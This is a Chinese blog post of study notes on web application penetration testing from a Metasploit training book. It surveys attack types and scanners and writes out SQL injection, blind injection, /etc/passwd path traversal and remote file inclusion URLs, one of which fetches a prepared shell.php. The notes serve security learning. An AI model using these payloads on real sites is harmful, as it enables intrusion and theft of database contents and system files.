《metasploit渗透测试魔鬼训练营》学习笔记第四章—web应用渗透

继续来学习metasploit。。。记好笔记是很重要的,下面开始正文:
二.WEB应用渗透技术
    1.WEB应用渗透基础知识
       先介绍WEB应用攻击的主要类型(大致介绍,具体请自行查询)
        Sql注入攻击:大致分为 普通注入和盲注
        跨站脚本(XSS): 分为存储型XSS,反射性XSS以及DOM型XSS
        跨站伪造请求(CSRF):以XSS方式注入一段脚本,受害者点击该脚本时,脚本伪造受害者发出请求。
        会话认证管理缺陷:验证身份的功能存在缺陷。
        安全误配置:开发和管理人员的失误导致存在漏洞。
        不安全密码存储:密码以明文形式存在或加密算法过于脆弱。
        不安全的对象参考:攻击者利用WEB系统本身的读取功能,任意存取文档,窃取敏感文件。
        限制URL访问失败:没有对私有页面的访问进行身份认证。
        缺乏传输层的保护:没有设置SSL/TLS等保护机制,直接被攻击者窃取敏感数据。
        未验证的重定向和跳转:攻击者通过未验证重定向页面诱使受害者点击,从而窃取受害者敏感数据。
        metasploit关于WEB应用渗透攻击的模块较少,但是kali渗透系统里有很多优秀的WEB渗透工具,弥补了metasploit的不足。
         1.1metasploit的辅助模块
             辅助模块基本都在 modules/auxiliary/,并且在最新的metasploit中内置了wmap WEB扫描器,允许用户配置辅助模块,对网站进行集中扫描。
         1.2渗透模块
              渗透模块分散在module中的多个文件夹下,有针对主流CMS的漏洞,也有针对各种数据库漏洞的模块,同时也包含了成功后用来操作的webshell。
              metasploit与W3AF,SQLMAP,wXf,XSSF,BeFF等WEB漏洞扫描器均有接口,可以更好的进行探测。
2.WEB应用漏洞扫描探测
       2.1.开源WEB应用漏洞扫描工具
             Wapiti:对SQL注入的扫描准确度很高
             W3AF:综合很优秀,都有较高的准确度。
             Sandcat Free Edition:对XSS跨站漏洞准确度很高
       2.2扫描神器W3AF
            W3AF分为八类模块:发现模块(查找HTTP信息,并探测服务器,数据库等信息),审计模块(探测漏洞),搜索模块(捕获信息),攻击模块 (读取扫描信息,并试图通过模块插件攻击),输出模块(输出扫描结果),修改模块(修改信息),入侵模块(绕过入侵检测系统),破解模块(破解需要认证的页面,支持基本认证机制和表单登陆机制的破解)
            具体使用方法不在详解。
       2.3  SQL注入漏洞探测
             sqlmap是一款优秀的SQL注入漏洞的扫描工具。具体用法不再详解。metasploit已经集成了此工具。
       2.4  XSS漏洞探测
            xsser,xssfuzz等工具,或者使用metasploit集成的W3AF。
       2.5  WEB应用程序漏洞探测
            wXf是WEB漏洞扫描和攻击框架,利用metasploit框架的构想。kali中没有集成这个工具,需自行下载。
  3.WEB应用程序渗透测试
       3.1 SQL注入分析
            在这里进行简单的讲解,具体更高级的内容请自己查询
            普通注入:
            http://www.XXX.net/do/plus/view.php?aid=236896'
            //看是否存在注入,若’被过滤,则不能判断。
             http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,2,3,4,5,6,7-- //这里用--注释后边的语句,避免语法错误。该语句是用来判断列数的,若返回错误信息,则证明判断错误,继续加数字进行判断。
               http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,9,10 from 表名--  //得到数据库版本和用户名。
               http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(schema_name),10 from information_schema.SCHEMA--   //查询所有表
                http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(table_name),10 from information_schema.tables where table_schema=database()--   //查询表中所有列
                http://www.XXX.net/do/plus/view.php?aid=236896 and 1=2 union select 1,version(),database(),user(),5,,7,8,group_concat(column_name),10 from information_schema.columns where table_name=列名十六进制--   //查询列中字段
               盲注:这里就只讲解字符的猜解的盲注。
                 http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>1
                  http://www.XXX.net/do/plus/view.php?aid=236896 and length(database())>2
                 如果第一句没报错,第二句报错了,则证明数据库名是两个字符。以此类推。。
                  http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>97
                     http://www.XXX.net/do/plus/view.php?aid=236896 and ascii(substring(database(),1,1))>98
                 如果第一句没报错,第二句报错了,则证明数据库名第一个字符的ASCII码是98,以此类推。。。。
                 http://www.XXX.net/do/plus/view.php?aid=236896 and (select count(table_name) from information_schema where table_schema=database())>15
                 这句是获得数据库表的个数
                 接下来都差不多,不在多述。
          3.2跨站攻击实例分析
               跨站脚本攻击框架(XSSF),具体教程请自行查询。
          3.3命令注入实例分析
               一般流程都是扫描到某应用或者插件的漏洞,然后去上网找关于该漏洞的利用代码进行渗透获取webshell,若能力高超,可以自己编写利用的代码或者把利用的代码自己转换成metasploit的exploit模块和payload模块。具体自行实践,我能力有限。。。将来水平上来了会出教程。。。
          3.4文件包含和文件上传漏洞
              文件包含包括本地文件包含(LFI)和远程文件包含(RFI)。
              http://www.XXX.com/?page=././././etc/passwd   //使用“./”退出当前目录,多试几次
              http://www.XXX.com/?page=www.ooo.com/shell.php    //shell.php是事先在远程主机上准备好的shell。
              文件上传漏洞是由于网站没有经过严格的检查和过滤,可以提交恶意的文件来获取webshell。
        关于绕过上传请自行查询。
原文地址:https://www.cnblogs.com/student-programmer/p/6729170.html